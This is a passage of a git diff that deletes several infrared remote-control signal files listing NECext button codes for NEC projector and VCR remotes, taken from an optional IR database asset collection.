deleted file mode 100644 index aa8408a4c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_R -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 00 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 08 00 00 00 -# -name: END/CONV_CONTROL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 09 00 00 00 -# -name: TEST_PATTERN_TEST -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 0B 00 00 00 -# -name: TEST_PATTERN_COARSE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 0E 00 00 00 -# -name: TEST_PATTERN_FINE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 0F 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 12 00 00 00 -# -name: STATIC -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 15 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 18 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 19 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1D 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1E 00 00 00 -# -name: SEL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 40 00 00 00 -# -name: BEAM -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 41 00 00 00 -# -name: LEVEL_CONTROL_PRESET -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 42 00 00 00 -# -name: LEVEL_CONTROL_CALL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 43 00 00 00 -# -name: PICTURE_UP -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 46 00 00 00 -# -name: PICTURE_DOWN -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 47 00 00 00 -# -name: COLOR_UP -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 48 00 00 00 -# -name: COLOR_DOWN -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 49 00 00 00 -# -name: BRIGHT_UP -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4A 00 00 00 -# -name: BRIGHT_DOWN -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4B 00 00 00 -# -name: TINT_UP -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4C 00 00 00 -# -name: TINT_DOWN -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4D 00 00 00 -# -name: SHARPNESS_UP -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4E 00 00 00 -# -name: SHARPNESS_DOWN -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir deleted file mode 100644 index 91d8c8eb6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: VTR_V -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 19 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0/AV -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: SC -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: ATR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1F 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: REMAIN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 45 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 47 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 48 00 00 00 -# -name: CL -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: LOCK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 50 00 00 00 -# -name: MARK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 54 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 55 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir deleted file mode 100644 index 3630bbe0b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: SLOW_FORWARD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: SLOW_REVERSE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: VCR_V -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: T.RETURN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 72 00 00 00 -# -name: TIME/COUNTER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 85 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir deleted file mode 100644 index 6bfd770cd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_R -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 00 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 01 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 08 00 00 00 -# -name: 'END' -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 09 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 0B 00 00 00 -# -name: COARSE/FINE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 0F 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 12 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 14 00 00 00 -# -name: STATIC -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 15 00 00 00 -# -name: CONV -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 16 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 17 00 00 00 -# -name: KEY_1/ABC -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 18 00 00 00 -# -name: KEY_2/DEF -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 19 00 00 00 -# -name: KEY_3/GHI -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1A 00 00 00 -# -name: KEY_4/JKL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1B 00 00 00 -# -name: KEY_5/MNO -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1C 00 00 00 -# -name: KEY_6/PQR -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1D 00 00 00 -# -name: KEY_7/STU -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1E 00 00 00 -# -name: KEY_8/VWX -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1F 00 00 00 -# -name: KEY_9/YZ- -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 40 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 41 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 42 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 43 00 00 00 -# -name: PICTURE_FUNCTION -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 46 00 00 00 -# -name: PICTURE_MUTE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 47 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5F 00 00 00 -# -name: CTL_END -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 89 00 00 00 -# -name: CTL_ENTER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 97 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir deleted file mode 100644 index 1ba9be9dc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: SKIP_SEARCH -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: AUDIO_DUB -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: VIDEO/TV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0A 00 00 00 -# -name: FF/SRCH_>> -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: REW/SRCH_<< -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0E 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: X2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 1C 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir deleted file mode 100644 index a5e4c7f07..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir +++ /dev/null @@ -1,806 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_CHANNEL_^ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: VCR_CH_^_(SET_+) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: CH/SET_^ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: VCR_CH_^ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: VCR_CHANNEL_V -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: VCR_CH_V_(SET_-) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: CH/SET_V -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: VCR_CH_V -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: VCR_SLOW_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: VCR_SLOW_^ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: VCR_SLOW_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: VCR_SLOW_V -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: VCR_RECORD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: VCR_SR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: SR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: VCR_RESET -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: RESET_COUNTER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: VCR_VCR/TV -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: VCR_TV/VCR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: VCR_COUNTER_MEMORY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0B 00 00 00 -# -name: MEMORY_COUNTER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0B 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0B 00 00 00 -# -name: VCR_FF/SRCH_>> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: FF/PICTURE_SRCH_>> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: VCR_REW/SRCH_<< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: REW/PICTURE_SRCH_<< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: VCR_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: VCR_PAUSE/STILL -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: PAUSE/STILL__/_>< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: VCR_EJECT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: VCR_1_(AM/SUN) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: VCR_2_(PM/MON) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: VCR_3_(TUE) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 13 00 00 00 -# -name: VCR_4_(WED) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 13 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: VCR_5_(THU) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: VCR_6_(FRI) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: VCR_7_(SAT) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 17 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 18 00 00 00 -# -name: VCR_INPUT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 19 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1A 00 00 00 -# -name: VCR_REC_MODE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1B 00 00 00 -# -name: REC_MODE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1B 00 00 00 -# -name: SP/EP_RECORD_MODE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1B 00 00 00 -# -name: VCR_SHIFT_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: FWD_> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 60 00 00 00 -# -name: REV_< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 61 00 00 00 -# -name: INDEX_SEARCH -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 62 00 00 00 -# -name: VCR_TRACKING_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 63 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 63 00 00 00 -# -name: VCR_TRACKING_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 64 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 64 00 00 00 -# -name: REAL/NORM._COUNTER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 65 00 00 00 -# -name: NAT.SL -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 68 00 00 00 -# -name: PRGM_CHECK -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 69 00 00 00 -# -name: VCR_MONITOR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 6F 00 00 00 -# -name: VCR_TIMER_MODE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 82 00 00 00 -# -name: OSD_PRGM -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 82 00 00 00 -# -name: TIMER_MODE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 82 00 00 00 -# -name: TIMER_REC -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 83 00 00 00 -# -name: VCR_TIMER_REC -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 83 00 00 00 -# -name: VCR_TIMER_RECORD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 83 00 00 00 -# -name: VCR_ON_SCREEN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 84 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 84 00 00 00 -# -name: VCR_CLOCK/COUNTER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 85 00 00 00 -# -name: VCR_COUNTER/TIMER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 85 00 00 00 -# -name: TIMER/COUNTER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 85 00 00 00 -# -name: VCR_ANT/AUX -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 85 00 00 00 -# -name: VCR_F_ADV -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 86 00 00 00 -# -name: VCR_STILL_ADV. -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 86 00 00 00 -# -name: VCR_SHIFT_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 88 00 00 00 -# -name: VCR_BACK -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 88 00 00 00 -# -name: DIGITAL_MEM. -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 90 00 00 00 -# -name: ST/SAP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 91 00 00 00 -# -name: HI-FI/NORM -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 92 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 93 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 94 00 00 00 -# -name: STROBE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 9A 00 00 00 -# -name: DIGITAL_NR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 9C 00 00 00 -# -name: VCR_TIME_SEARCH -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 9D 00 00 00 -# -name: REAL_SEARCH -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 9D 00 00 00 -# -name: VCR_DSR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 9E 00 00 00 -# -name: D.S.R. -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 9E 00 00 00 -# -name: VCR_X2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 9F 00 00 00 -# -name: VCR_SLOW -type: parsed -protocol: NECext -address: 19 00 00 00 -command: C5 00 00 00 -# -name: VCR_ADD/ERASE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: C6 00 00 00 -# -name: VCR_REPEAT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: C7 00 00 00 -# -name: VCR_CH_SEARCH -type: parsed -protocol: NECext -address: 19 00 00 00 -command: C8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir deleted file mode 